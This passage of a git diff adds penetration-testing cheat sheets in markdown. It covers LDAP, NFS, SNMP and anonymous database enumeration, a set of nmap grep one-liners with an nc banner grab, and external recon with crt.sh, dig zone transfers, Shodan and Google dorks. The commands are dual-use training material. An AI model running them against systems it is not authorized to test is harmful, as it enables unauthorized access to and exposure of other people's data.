-b 'dc=example,dc=com' '(&(objectClass=user)(adminCount=1))' -LLL +``` + +```bash +# Users with SPNs (Kerberoastable) +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(&(objectClass=user)(servicePrincipalName=*))' -LLL +``` + +```bash +# Specific user +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(sAMAccountName=Administrator)' -LLL +``` + +**Enumerate groups**: + +```bash +# All groups +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(objectClass=group)' -LLL +``` + +```bash +# Domain Admins +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(cn=Domain Admins)' member -LLL +``` + +```bash +# Privileged groups +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(&(objectClass=group)(adminCount=1))' -LLL +``` + +**Enumerate computers**: + +```bash +# All computers +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(objectClass=computer)' -LLL +``` + +```bash +# Domain controllers +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(userAccountControl:1.2.840.113556.1.4.803:=8192)' -LLL +``` + +```bash +# Servers +ldapsearch -x -H ldap://<IP> -b 'dc=example,dc=com' '(&(objectClass=computer)(operatingSystem=*Server*))' -LLL +``` + +**LDAP filter operators**: + +1. **&**: AND operator (all conditions must match) +2. **|**: OR operator (any condition matches) +3. **!**: NOT operator (condition must not match) +4. **=**: Equality match +5. **~=**: Approximate match +6. **>=**, **<=**: Greater/less than or equal +7. **=***: Presence check (attribute exists) + +--- + +### NFS - Mount and Browse + +[NFS](https://en.wikipedia.org/wiki/Network_File_System) typically has no authentication—access control based solely on IP restrictions. + +**List exports**: + +```bash +showmount -e <IP> # List NFS exports +showmount -a <IP> # List mounted clients +``` + +**Export format**: `/path (allowed_hosts)` where allowed_hosts can be `*` (all), `IP/subnet`, or specific hostnames + +**Mount and access**: + +```bash +# Mount share +sudo mount -t nfs <IP>:/export /mnt/nfs # Mount NFS share +sudo mount -t nfs -o vers=3 <IP>:/export /mnt/nfs # Mount with NFSv3 +``` + +**Mount options**: + +1. **vers=3**: Force NFSv3 +2. **vers=4**: Force NFSv4 +3. **ro**: Read-only mount +4. **rw**: Read-write mount +5. **soft**: Soft mount (timeout on errors) +6. **hard**: Hard mount (retry indefinitely) + +```bash +# Browse files +cd /mnt/nfs # Change to mount point +ls -la # List files +find . -type f -name "*.txt" # Find files +cat file.txt # Read file +cp file.txt /tmp/ # Copy file +``` + +```bash +# Unmount +sudo umount /mnt/nfs # Unmount share +``` + +**Create mount point** (if doesn't exist): + +```bash +sudo mkdir -p /mnt/nfs # Create directory +``` + +--- + +### SNMP - Community String Testing + +[SNMP](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol) versions 1 and 2c use plaintext community strings. Default strings: `public` (read-only), `private` (read-write). + +**Test with onesixtyone**: + +[onesixtyone](https://github.com/trailofbits/onesixtyone) is a fast SNMP scanner for brute forcing community strings. + +```bash +onesixtyone <IP> # Test default communities +onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP> +onesixtyone -c community.txt -i targets.txt # Multiple hosts +``` + +**Options**: + +1. **-c <file>**: Community string wordlist +2. **-i <file>**: IP address list file +3. **-w <n>**: Wait time in milliseconds (default 10) + +**Walk with snmpwalk**: + +[snmpwalk](https://linux.die.net/man/1/snmpwalk) queries SNMP MIB tree using valid community string. + +```bash +# Full walk (noisy - thousands of queries) +snmpwalk -v2c -c public <IP> # Walk entire tree +``` + +**Specific OIDs**: + +```bash +snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.1 # System info +snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.2 # Network interfaces +snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.25.4.2 # Running processes +snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.25.6.3 # Installed software +snmpwalk -v2c -c public <IP> 1.3.6.1.4.1.77.1.2.25 # User accounts (Windows) +snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.25.2.3 # Storage info +``` + +**Common OIDs**: + +1. **1.3.6.1.2.1.1**: System (hostname, description, uptime, contact, location) +2. **1.3.6.1.2.1.2**: Interfaces (names, MACs, IPs, statistics) +3. **1.3.6.1.2.1.25.4.2**: Running processes +4. **1.3.6.1.2.1.25.6.3**: Installed software +5. **1.3.6.1.2.1.6.13**: TCP connections +6. **1.3.6.1.2.1.7.5**: UDP endpoints + +--- + +### Redis - Anonymous Access + +[Redis](https://redis.io/) is an in-memory data structure store. Default installations often have no authentication. + +**Port**: 6379/tcp + +**Connect and enumerate**: + +```bash +redis-cli -h <IP> # Connect to Redis +``` + +**Commands** (inside `<IP>:6379>` prompt): + +```bash +<IP>:6379> INFO # Server info +<IP>:6379> CONFIG GET * # Get config +<IP>:6379> KEYS * # List all keys +<IP>:6379> GET keyname # Get key value +<IP>:6379> DBSIZE # Database size +<IP>:6379> CLIENT LIST # Connected clients +<IP>:6379> SCAN 0 # Scan keys (non-blocking) +``` + +**Authentication check**: + +1. If `INFO` succeeds: No authentication required +2. If `(error) NOAUTH Authentication required`: Authentication enabled + +**Other data type commands**: + +1. **HGETALL <key>**: Get all hash fields +2. **LRANGE <key> 0 -1**: Get all list elements +3. **SMEMBERS <key>**: Get all set members +4. **ZRANGE <key> 0 -1**: Get all sorted set members + +--- + +### MongoDB - Anonymous Access + +[MongoDB](https://www.mongodb.com/) is a NoSQL document database. Older versions often allow anonymous access. + +**Port**: 27017/tcp + +**Connect and enumerate**: + +```bash +mongo <IP> # Connect (legacy shell) +mongosh <IP> # Connect (new shell) +``` + +**Commands** (inside `>` prompt): + +```bash +> show dbs # List databases +> use admin # Select database +> show collections # List collections +> db.users.find() # Query collection +> db.users.find().limit(10) # Limit results +> db.getUsers() # List users +> db.stats() # Database stats +``` + +**Authentication check**: + +1. If `show dbs` succeeds: No authentication required +2. If `MongoServerError: command listDatabases requires authentication`: Authentication enabled + +**Common databases**: + +1. **admin**: Authentication/authorization data +2. **config**: Sharding configuration +3. **local**: Replication data +4. Custom application databases + +--- + +### PostgreSQL - Trust Auth + +[PostgreSQL](https://www.postgresql.org/) is a relational database. Trust authentication allows connections without password. + +**Port**: 5432/tcp + +**Default superuser**: `postgres` + +**Connect and enumerate**: + +```bash +psql -U postgres -h <IP> # Connect with trust auth +``` + +**Commands** (inside `postgres=#` prompt): + +```bash +postgres=# \l # List databases +postgres=# \c dbname # Connect to database +postgres=# \dt # List tables +postgres=# \du # List users +postgres=# SELECT version(); # Version +postgres=# SELECT * FROM users; # Query table +postgres=# \q # Quit +``` + +**One-liner**: + +```bash +psql -U postgres -h <IP> -c "\l" # List databases +psql -U postgres -h <IP> -d dbname -c "SELECT * FROM users;" # Query table +``` + +**Psql meta-commands**: + +1. **\l**: List databases +2. **\c <database>**: Connect to database +3. **\dt**: List tables +4. **\dt+**: List tables with sizes +5. **\du**: List users/roles +6. **\dn**: List schemas +7. **\df**: List functions +8. **\dv**: List views + +--- + +### MySQL/MariaDB - No Password + +[MySQL](https://www.mysql.com/) and [MariaDB](https://mariadb.com/) are relational databases. Root account without password is a critical misconfiguration. + +**Port**: 3306/tcp + +**Default root account**: `root@localhost` (often restricted to localhost, but may allow remote) + +**Connect and enumerate**: + +```bash +mysql -h <IP> -u root # Connect with no password +``` + +**Commands** (inside `mysql>` prompt): + +```bash +mysql> SHOW DATABASES; # List databases +mysql> USE mysql; # Select database +mysql> SHOW TABLES; # List tables +mysql> SELECT user,host FROM mysql.user; # List users +mysql> SELECT version(); # Version +mysql> SELECT * FROM users; # Query table +mysql> exit; # Quit +``` + +**One-liner**: + +```bash +mysql -h <IP> -u root -e "SHOW DATABASES;" # List databases +mysql -h <IP> -u root -e "USE mysql; SELECT user,host FROM mysql.user;" # List users +``` + +**Common databases**: + +1. **mysql**: System database (users, privileges) +2. **information_schema**: Metadata (tables, columns, constraints) +3. **performance_schema**: Performance metrics +4. **sys**: System views (MySQL 5.7+) + +--- + +### Elasticsearch - Anonymous API Access + +[Elasticsearch](https://www.elastic.co/) is a distributed search and analytics engine. Default installations often allow anonymous HTTP API access. + +**Port**: 9200/tcp (HTTP API) + +**Query with curl**: + +```bash +curl http://<IP>:9200/ # Cluster info +curl http://<IP>:9200/_cat/indices?v # List indices +curl http://<IP>:9200/_search?pretty # Search all +curl http://<IP>:9200/index_name/_search?pretty # Search index +curl http://<IP>:9200/index_name/_mapping?pretty # Index mapping +curl http://<IP>:9200/_cluster/health?pretty # Cluster health +curl http://<IP>:9200/_nodes?pretty # Node info +curl http://<IP>:9200/_count?pretty # Count documents +``` + +**Search with query**: + +```bash +curl -X POST http://<IP>:9200/_search?pretty -H 'Content-Type: application/json' -d ' +{ + "query": {"match_all": {}} +}' +``` + +**Authentication check**: + +1. If cluster info returns: Anonymous access allowed +2. If `401 Unauthorized` or `security_exception`: Authentication enabled (X-Pack Security) + +**Common indices**: `.kibana`, application-specific indices + +**API endpoints**: + +1. **/**: Cluster information +2. **/_cat/indices**: List indices (human-readable) +3. **/_search**: Search all indices +4. **/<index>/_search**: Search specific index +5. **/<index>/_mapping**: Index schema +6. **/_cluster/health**: Cluster status +7. **/_cluster/settings**: Cluster settings + +--- + +## References + +1. [NetExec GitHub Repository](https://github.com/Pennyw0rth/NetExec) +2. [NetExec Wiki Documentation](https://www.netexec.wiki/) +3. [Samba smbclient Manual](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html) +4. [Samba rpcclient Manual](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) +5. [smbmap GitHub Repository](https://github.com/ShawnDEvans/smbmap) +6. [enum4linux GitHub Repository](https://github.com/CiscoCXSecurity/enum4linux) +7. [enum4linux-ng GitHub Repository](https://github.com/cddmp/enum4linux-ng) +8. [HackTricks - rpcclient Enumeration](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration) +9. [HackTricks - LDAP Pentesting](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap) +10. [OpenLDAP ldapsearch Manual](https://linux.die.net/man/1/ldapsearch) +11. [onesixtyone GitHub Repository](https://github.com/trailofbits/onesixtyone) +12. [snmpwalk Manual](https://linux.die.net/man/1/snmpwalk) +13. [Redis Security Guide](https://redis.io/docs/manual/security/) +14. [MongoDB Authentication Documentation](https://www.mongodb.com/docs/manual/core/authentication/) +15. [PostgreSQL pg_hba.conf Documentation](https://www.postgresql.org/docs/current/auth-pg-hba-conf.html) +16. [MySQL Connection Documentation](https://dev.mysql.com/doc/refman/8.0/en/connecting.html) +17. [Elasticsearch REST APIs](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) + +--- + +#HTB #enumeration #NetExec #SMB #LDAP #FTP #SNMP #NFS #Redis #MongoDB #Elasticsearch #PostgreSQL #MySQL #null-session #anonymous-access #smbclient #rpcclient #smbmap #enum4linux #ldapsearch #pentesting #OSCP diff --git a/src/content/sheets/enumeration/awesome-nmap-grep.md b/src/content/sheets/enumeration/awesome-nmap-grep.md @@ -0,0 +1,281 @@ +--- +title: "Awesome NMAP grep" +description: "A collection of awesome, _grep-like_ commands for the nmap greppable output (-oG) format. This repository aims to serve as a quick reference to modify the…" +category: enumeration +tags: ["enumeration"] +tools: ["Nmap"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/Awesome NMAP grep.md" +--- +# awesome-nmap-grep 💥 + +A collection of awesome, _grep-like_ commands for the `nmap` greppable output +(`-oG`) format. This repository aims to serve as a quick reference to modify the + output into readable formats. + +All of the below commands assume the output was saved to a file called +`output.grep`. The example command to produce this file as well as the sample +outputs was: `nmap -v --reason 127.0.0.1 -sV -oG output.grep -p-`. + +Finally, the `NMAP_FILE` variable is set to contain `output.grep`. + +## commands + +* [Count Number of Open Ports](#count-number-of-open-ports) +* [Top 10 Open Ports](#print-the-top-10-ports) +* [Top Service Identifiers](#top-service-identifiers) +* [Top Service Names](#top-service-names) +* [Hosts and Open Ports](#hosts-and-open-ports) +* [Banner Grab](#banner-grab) + +## count number of open ports + +### command + +```bash +NMAP_FILE=output.grep + +egrep -v "^#|Status: Up" $NMAP_FILE | cut -d' ' -f2,4- | \ +sed -n -e 's/Ignored.*//p' | \ +awk -F, '{split($0,a," "); printf "Host: %-20s Ports Open: %d\n" , a[1], NF}' \ +| sort -k 5 -g +``` + +### output + +```bash +Host: 127.0.0.1 Ports Open: 16 +``` + +### explained + +```bash +$ NMAP_FILE=output.grep + +$ egrep -v "^#|Status: Up" $NMAP_FILE | cut -d' ' -f2,4- | \ +# | └──────┬──────┘ | | └─ Select the rest of +# | | | | the fields which +# | | | | will be the open +# | | | | ports. +# | | | | +# | | | └─ Select the second field +# | | | to print which will +# | | | be IP Address +# | | | +# | | └─ The file containing the grepable output. +# | | +# | └─ Ignore lines that start with a # or contain the string +# | 'Status: Up' +# | +# └─ Inverse the pattern match + sed -n -e 's/Ignored.*//p' | \ +# | | └──────┬───────┘ +# | | └─ Remove text from the string 'Ignored' onwards. +# | | +# | └─ Specify the script to execute. +# | +# └─ Be quiet on errors. + awk -F, '{split($0,a," "); printf "Host: %-20s Ports Open: %d\n" , a[1], NF}' | \ +# | └──────┬──────┘ └─┬─┘ └─┬─┘ | +# | | | Use the second element ┘ | +# | | | in array a defined by | +# | | | the previous split(). | +# | | | | +# | | | The total columns ─────┘ +# | | | extracted. +# | | | +# | | └─ Pad the string to 20 spaces. +# | | +# | └─ Split the item in the first column again by space, +# | storing the resultant array into a. +# | +# └─ Print a string from a format string + sort -k 5 -g +``` + +## print the top 10 ports + +### command + +```bash +NMAP_FILE=output.grep + +egrep -v "^#|Status: Up" $NMAP_FILE | cut -d' ' -f4- | \ +sed -n -e 's/Ignored.*//p' | tr ',' '\n' | sed -e 's/^[ \t]*//' | \ +sort -n | uniq -c | sort -k 1 -r | head -n 10 +``` + +### output + +```bash +1 9001/open/tcp//tor-orport?/// +1 9000/open/tcp//cslistener?/// +1 8080/open/tcp//http-proxy/// +1 80/open/tcp//http//Caddy/ +1 6379/open/tcp//redis//Redis key-value store/ +1 631/open/tcp//ipp//CUPS 2.1/ +1 6234/open/tcp///// +1 58377/filtered/tcp///// +1 53/open/tcp//domain//dnsmasq 2.76/ +1 49153/open/tcp//mountd//1-3/ +``` + +### explained + +```bash +$ NMAP_FILE=output.grep + +$ egrep -v "^#|Status: Up" $NMAP_FILE | cut -d' ' -f4- | \ +# | └──────┬──────┘ | └─ Select only the fields +# | | | with the port details. +# | | | +# | | └─ The file containing the grepable output. +# | | +# | └─ Ignore lines that start with a # or contain the string +# | 'Status: Up' +# | +# └─ Inverse the pattern match + sed -n -e 's/Ignored.*//p' | tr ',' '\n' | sed -e 's/^[ \t]*//' | \ +# | | └──────┬───────┘ └┬┘ └─┬┘ └─────┬─────┘ +# | | | | | └─ Remove tabs and +# | | | | | spaces. +# | | | | └─ ... with newlines. +# | | | | +# | | | └─ Replace commas ... +# | | | +# | | └─ Remove text from the string 'Ignored' onwards. +# | | +# | └─ Specify the script to execute. +# | +# └─ Be quiet on errors. + sort -n | uniq -c | sort -k 1 -r | head -n 10 +# | | | └─ Print the first 10 lines. +# | | | +# | | └─ Output result in reverse +# | | +# | └─ Count occurrences +# | +# └─ Sort numerically. +``` + +## top service identifiers + +### command + +```bash +NMAP_FILE=output.grep + +egrep -v "^#|Status: Up" $NMAP_FILE | cut -d ' ' -f4- | tr ',' '\n' | \ +sed -e 's/^[ \t]*//' | awk -F '/' '{print $7}' | grep -v "^$" | sort | uniq -c \ +| sort -k 1 -nr +``` + +### output + +```bash +2 Caddy +2 1-3 (RPC 100005) +1 dnsmasq 2.76 +1 Redis key-value store +1 OpenSSH 6.9 (protocol 2.0) +1 MySQL 5.5.5-10.1.14-MariaDB +1 CUPS 2.1 +``` + +## top service names + +### command + +```bash +NMAP_FILE=output.grep + +egrep -v "^#|Status: Up" $NMAP_FILE | cut -d ' ' -f4- | tr ',' '\n' | \ +sed -e 's/^[ \t]*//' | awk -F '/' '{print $5}' | grep -v "^$" | sort | uniq -c \ +| sort -k 1 -nr +``` + +### output + +```bash +2 mountd +2 http +1 unknown +1 tor-orport? +1 ssl|https +1 ssh +1 redis +1 mysql +1 ipp +1 http-proxy +1 domain +1 cslistener? +``` + +## hosts and open ports + +### command + +```bash +NMAP_FILE=output.grep + +egrep -v "^#|Status: Up" $NMAP_FILE | cut -d' ' -f2,4- | \ +sed -n -e 's/Ignored.*//p' | \ +awk '{print "Host: " $1 " Ports: " NF-1; $1=""; for(i=2; i<=NF; i++) { a=a" "$i; }; split(a,s,","); for(e in s) { split(s[e],v,"/"); printf "%-8s %s/%-7s %s\n" , v[2], v[3], v[1], v[5]}; a="" }' +``` + +### output + +```bash +Host: 127.0.0.1 Ports: 16 +open tcp/22 ssh +open tcp/53 domain +open tcp/80 http +open tcp/443 https +open tcp/631 ipp +open tcp/3306 mysql +open tcp/4767 unknown +open tcp/6379 +open tcp/8080 http-proxy +open tcp/8081 blackice-icecap +open tcp/9000 cslistener +open tcp/9001 tor-orport +open tcp/49152 unknown +open tcp/49153 unknown +filtered tcp/54695 +filtered tcp/58369 +``` + +## banner grab + +### command + +```bash +NMAP_FILE=output.grep + +egrep -v "^#|Status: Up" $NMAP_FILE | cut -d' ' -f2,4- | \ +awk -F, '{split($1,a," "); split(a[2],b,"/"); print a[1] " " b[1]; for(i=2; i<=NF; i++) { split($i,c,"/"); print a[1] c[1] }}' \ + | xargs -L1 nc -v -w1 +``` + +### output + +*Sample* + +```bash +found 0 associations +found 1 connections: + 1: flags=82<CONNECTED,PREFERRED> + outif lo0 + src 127.0.0.1 port 52224 + dst 127.0.0.1 port 3306 + rank info not available + TCP aux info available + +Connection to 127.0.0.1 port 3306 [tcp/mysql] succeeded! +Y +5.5.5-10.1.14-MariaDB�uds9^MIf��!?�EgVZ>iv7KTD7mysql_native_passwordfound 0 associations + +nc: connectx to 127.0.0.1 port 54695 (tcp) failed: Connection refused +nc: connectx to 127.0.0.1 port 58369 (tcp) failed: Connection refused +``` diff --git a/src/content/sheets/enumeration/cheatsheet-infrastructure-enumeration-tools-1.md b/src/content/sheets/enumeration/cheatsheet-infrastructure-enumeration-tools-1.md @@ -0,0 +1,608 @@ +--- +title: "Cheatsheet - Infrastructure Enumeration Tools 1" +description: "curl -s \"https://crt.sh/?q=TARGET.com&output=json\" | jq -r '.[].name_value' | sort -u" +category: enumeration +tags: ["enumeration"] +tools: ["Gitleaks", "TruffleHog"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/Cheatsheet - Infrastructure Enumeration Tools 1.md" +--- +# Basic query — good starting point +curl -s "https://crt.sh/?q=TARGET.com&output=json" | jq -r '.[].name_value' | sort -u + +# Output +*.TARGET.com +admin.TARGET.com +blog.TARGET.com +mail.TARGET.com +vpn.TARGET.com +www.TARGET.com +``` + +> [!info]+ Command Breakdown +> 1. **jq -r '.[].name_value'** — extracts ONLY the `name_value` field from every array entry using `-r` (raw output, no quotes) +> 2. This is cleaner than the `grep | cut | awk` chain in the original notes — fewer failure points +> 3. **sort -u** — deduplicates; wildcard entries like `*.TARGET.com` are preserved as-is + +--- + +```bash +# Strip wildcards and get clean hostnames only +curl -s "https://crt.sh/?q=TARGET.com&output=json" \ + | jq -r '.[].name_value' \ + | sed 's/\*\.//g' \ + | sort -u \ + | grep -v "^TARGET.com$" > subdomains.txt + +cat subdomains.txt +admin.TARGET.com +blog.TARGET.com +mail.TARGET.com +vpn.TARGET.com +www.TARGET.com +``` + +> [!info]+ Command Breakdown +> 1. **sed 's/\*\.//g'** — strips the `*.` wildcard prefix to leave a clean hostname +> 2. **grep -v "^TARGET.com$"** — removes the bare root domain from the list (you already know it) +> 3. **> subdomains.txt** — saves to file for use in the next steps (host loop, Shodan loop) +> 4. *This output feeds directly into the `host` bulk resolution loop* + +--- + +```bash +# Query for EXPIRED certs too — these reveal old subdomains that may still be live +curl -s "https://crt.sh/?q=%25.TARGET.com&output=json" | jq -r '.[].name_value' | sort -u +``` + +> [!info]+ Command Breakdown +> 1. **%25.TARGET.com** — URL-encoded `%` wildcard; matches ALL subdomains ever issued a cert, including expired ones +> 2. Expired subdomains are often forgotten by admins — they may still resolve and run old, unpatched services +> 3. *Cross-reference this list against your `host` resolution output to see which old subdomains are still live* + +--- + +> [!warning]+ crt.sh Gotchas +> 1. Results include **third-party issued certs** — a subdomain listed here is NOT guaranteed to be company-owned infrastructure +> 2. Wildcard certs (`*.TARGET.com`) confirm the domain uses wildcard SSL but don't enumerate actual subdomains — use other methods to enumerate what lives under the wildcard +> 3. **Rate limiting** — if querying many domains, add `sleep 2` between requests or use the Shodan/Subfinder pipeline instead +> 4. Results can lag by hours after a new cert is issued — not real-time + +--- + +## curl + jq — API Querying and JSON Parsing + +> [!tip]+ jq is More Powerful Than Used in the Notes +> The original notes use `jq .` (pretty print only). Here are more useful filters: + +```bash +# Extract only specific fields — issuer + subdomain + expiry +curl -s "https://crt.sh/?q=TARGET.com&output=json" \ + | jq -r '.[] | [.issuer_name, .name_value, .not_after] | @tsv' + +# Output (tab-separated) +C=US, O=Let's Encrypt, CN=R3 mail.TARGET.com 2025-12-01T00:00:00 +C=US, O=Cloudflare, Inc. www.TARGET.com 2026-01-15T00:00:00 +``` + +> [!info]+ Command Breakdown +> 1. **'.[] | ...'** — iterates over every element in the array +> 2. **[.issuer_name, .name_value, .not_after]** — selects three specific fields into an array +> 3. **@tsv** — formats the array as tab-separated values — easy to `cut`, `grep`, or import into a spreadsheet +> 4. *The issuer column immediately tells you if a subdomain uses Cloudflare, Let's Encrypt, DigiCert etc. — Cloudflare = WAF/proxy likely in front* + +--- + +```bash +# Count how many unique subdomains exist +curl -s "https://crt.sh/?q=TARGET.com&output=json" | jq '[.[].name_value] | unique | length' + +# Output +47 +``` + +> [!info]+ Command Breakdown +> 1. **[.[].name_value]** — collects all name values into a new array +> 2. **unique** — deduplicates the array +> 3. **length** — returns the count +> 4. *Use this as a quick "how big is the attack surface" indicator before diving in* + +--- + +> [!tip]+ curl Best Practices +> 1. Always use **-s** (silent) to suppress the progress bar — it pollutes piped output +> 2. Add **-A "Mozilla/5.0"** to spoof a browser User-Agent if a service rejects `curl` requests +> 3. Use **-o /dev/null -w "%{http_code}"** to test if a URL is reachable without dumping the body +> 4. Add **--max-time 10** to prevent curl hanging indefinitely on slow hosts + +--- + +## dig — DNS Enumeration + +> [!tip]+ Query Specific Record Types — Don't Always Use ANY +> Many resolvers block or ignore `dig any` queries. Query record types directly for reliable results: + +```bash +# A records — IPv4 addresses +dig A TARGET.com +short + +# AAAA records — IPv6 addresses +dig AAAA TARGET.com +short + +# MX records — mail servers +dig MX TARGET.com +short + +# NS records — name servers +dig NS TARGET.com +short + +# TXT records — the intelligence goldmine +dig TXT TARGET.com +short + +# SOA record — primary DNS authority +dig SOA TARGET.com +short + +# CNAME — canonical name (reveals CDN, load balancer names) +dig CNAME www.TARGET.com +short +``` + +> [!info]+ Command Breakdown +> 1. **+short** — suppresses all header/footer output, returns only the answer — much cleaner than default output +> 2. Query each record type **separately** — `dig any` often returns incomplete or filtered results from modern resolvers +> 3. **CNAME records** are especially useful — they often reveal the CDN or load balancer in use (e.g., `target.cloudflare.net`, `target.azurefd.net`) +> 4. *MX pointing to Google = Google Workspace. MX pointing to outlook.com = Microsoft 365. Both have implications for cloud access.* + +--- + +```bash +# Use a specific DNS resolver — bypass internal resolver caching +dig TXT TARGET.com @8.8.8.8 +short # Google +dig TXT TARGET.com @1.1.1.1 +short # Cloudflare +dig TXT TARGET.com @9.9.9.9 +short # Quad9 +``` + +> [!info]+ Command Breakdown +> 1. **@8.8.8.8** — directs the query to a specific resolver instead of your system's default +> 2. Use this when your local resolver returns stale/cached results or when testing from behind a corporate network +> 3. Comparing responses between resolvers can reveal **split-horizon DNS** — different answers for internal vs external queries +> 4. *Split-horizon DNS is a strong indicator of an internal network — note it for the Gateway layer* + +--- + +```bash +# Attempt a zone transfer — almost always fails externally but worth trying +dig AXFR TARGET.com @ns.TARGET.com + +# If it works, output dumps ALL DNS records at once: +; <<>> DiG 9.16.1-Ubuntu <<>> AXFR TARGET.com @ns.TARGET.com +TARGET.com. 3600 IN SOA ns1.TARGET.com. hostmaster.TARGET.com. +admin.TARGET.com. 3600 IN A 10.10.10.5 +dev.TARGET.com. 3600 IN A 10.10.10.12 +vpn.TARGET.com. 3600 IN A 10.10.10.1 +``` + +> [!info]+ Command Breakdown +> 1. **AXFR** — DNS zone transfer request; asks the name server to send ALL records for the zone +> 2. Requires knowing the authoritative NS server — get this from `dig NS TARGET.com +short` first +> 3. Modern DNS servers reject AXFR from untrusted IPs, but misconfigured or older servers may allow it +> 4. *A successful zone transfer is a critical finding — it immediately hands you the entire internal DNS map* + +> [!warning]+ dig vs host vs nslookup +> | Tool | Best For | Avoid When | +> |---|---|---| +> | `dig` | Full record queries, scripting, verbose output | You just need a quick IP lookup | +> | `host` | Fast bulk lookups, simple A record resolution | You need specific record types or JSON output | +> | `nslookup` | Windows environments | Scripting — its output format is inconsistent | + +--- + +## host — Bulk Subdomain Resolution + +> [!tip]+ Going Further Than the Notes + +```bash +# Reverse DNS lookup — IP to hostname +host 10.129.24.93 +93.24.129.10.in-addr.arpa domain name pointer blog.TARGET.com. +``` + +> [!info]+ Command Breakdown +> 1. Pass an **IP address** to `host` instead of a hostname for reverse lookup +> 2. Reveals hostnames you may not have found in forward DNS enumeration +> 3. *Run this on every IP returned by Shodan — you may discover additional virtual hosts pointing to the same IP* + +--- + +```bash +# Query a specific record type with host +host -t MX TARGET.com +host -t TXT TARGET.com +host -t NS TARGET.com +``` + +> [!info]+ Command Breakdown +> 1. **-t [TYPE]** — specifies the record type to query +> 2. Output is simpler than `dig` — useful for quick checks but less detail +> 3. *Use `dig` for full output with TTL and authority sections; use `host -t` for fast piped workflows* + +--- + +```bash +# Better bulk resolution loop — saves both hostname and IP, skips failed lookups +while read subdomain; do + result=$(host "$subdomain" 2>/dev/null | grep "has address" | awk '{print $1, $4}') + [ -n "$result" ] && echo "$result" +done < subdomains.txt | tee resolved.txt + +# Output +blog.TARGET.com 10.129.24.93 +mail.TARGET.com 10.129.127.22 +www.TARGET.com 10.129.127.33 +``` + +> [!info]+ Command Breakdown +> 1. **while read subdomain** — cleaner than `for i in $(cat file)` — handles spaces in lines safely +> 2. **2>/dev/null** — suppresses error output for subdomains that don't resolve +> 3. **[ -n "$result" ]** — only prints if the result is non-empty (skips dead subdomains silently) +> 4. **tee resolved.txt** — prints to terminal AND saves to file simultaneously +> 5. *`resolved.txt` becomes your definitive list of live, company-hosted targets for active testing* + +--- + +## Shodan — Passive IP and Service Intelligence + +> [!important]+ Setup First — Easy to Skip +```bash +# Install the Shodan CLI +pip3 install shodan + +# Initialise with your API key (free account works for basic queries) +shodan init YOUR_API_KEY_HERE + +# Verify it works +shodan info +# Output: +# Query credits available: 100 +# Scan credits available: 0 +``` + +> [!info]+ Command Breakdown +> 1. **shodan init** — stores your API key locally so you don't have to pass it every command +> 2. Free accounts get 100 query credits — enough for a standard engagement's passive recon +> 3. *Get your API key at https://account.shodan.io/ — just needs a free registration* + +--- + +```bash +# The basic host lookup from the notes +shodan host 10.129.24.93 + +# Better: search by organisation name — finds ALL IPs registered to the company +shodan search --fields ip_str,port,org,hostnames "org:\"InlaneFreight\"" + +# Output +10.129.24.93 80 InlaneFreight blog.inlanefreight.com +10.129.27.33 443 InlaneFreight www.inlanefreight.com +10.129.127.22 25 InlaneFreight matomo.inlanefreight.com +``` + +> [!info]+ Command Breakdown +> 1. **"org:\"InlaneFreight\""** — Shodan search filter for organisation name; quotes inside the string are escaped +> 2. **--fields ip_str,port,org,hostnames** — limits output to only the useful columns +> 3. *This finds IPs you may have missed entirely in DNS enumeration — Shodan indexes based on what it scans, not what DNS says* + +--- + +```bash +# Find all subdomains Shodan has seen for a domain +shodan search --fields ip_str,port,hostnames "hostname:TARGET.com" + +# Find only SSL-enabled services — check for weak ciphers +shodan search "hostname:TARGET.com ssl.version:TLSv1" + +# Find specific open ports across the org +shodan search "org:\"InlaneFreight\" port:22" +shodan search "org:\"InlaneFreight\" port:3389" # RDP — always worth noting +shodan search "org:\"InlaneFreight\" port:445" # SMB — goldmine + +# Find services with default/vendor credentials (Shodan tags these) +shodan search "org:\"InlaneFreight\" has_screenshot:true" +``` + +> [!info]+ Command Breakdown +> 1. **hostname:TARGET.com** — finds all IPs where Shodan has observed the domain in the SSL cert or reverse DNS +> 2. **ssl.version:TLSv1** — filters for hosts still running deprecated TLS 1.0 — a vulnerability +> 3. **port:3389** / **port:445** — RDP and SMB exposed to the internet are high-priority findings +> 4. **has_screenshot:true** — Shodan captures screenshots of HTTP services — you can see login panels, admin interfaces, and dashboards without sending a single packet to the target + +--- + +> [!tip]+ Shodan Filters Quick Reference + +| Filter | Example | What It Finds | +|---|---|---| +| `org:` | `org:"Target Corp"` | All IPs registered to that organisation | +| `hostname:` | `hostname:target.com` | IPs with that hostname in cert/DNS | +| `port:` | `port:22` | Services on a specific port | +| `country:` | `country:GB` | Restrict by country | +| `ssl.version:` | `ssl.version:TLSv1` | Weak SSL/TLS versions | +| `product:` | `product:Apache` | Specific software | +| `os:` | `os:"Windows Server 2016"` | Specific OS versions | +| `has_screenshot:` | `has_screenshot:true` | Services with captured screenshots | +| `http.title:` | `http.title:"Login"` | Pages with specific HTML titles | + +--- + +## Google Dorks — Cloud and File Discovery + +> [!tip]+ Beyond the Basic inurl/intext Combo +> The notes cover `inurl:` and `intext:`. Here is the full operator toolkit: + +``` +# Find exposed files by type on the company's domain +site:TARGET.com filetype:pdf +site:TARGET.com filetype:xlsx +site:TARGET.com filetype:docx +site:TARGET.com filetype:env +site:TARGET.com 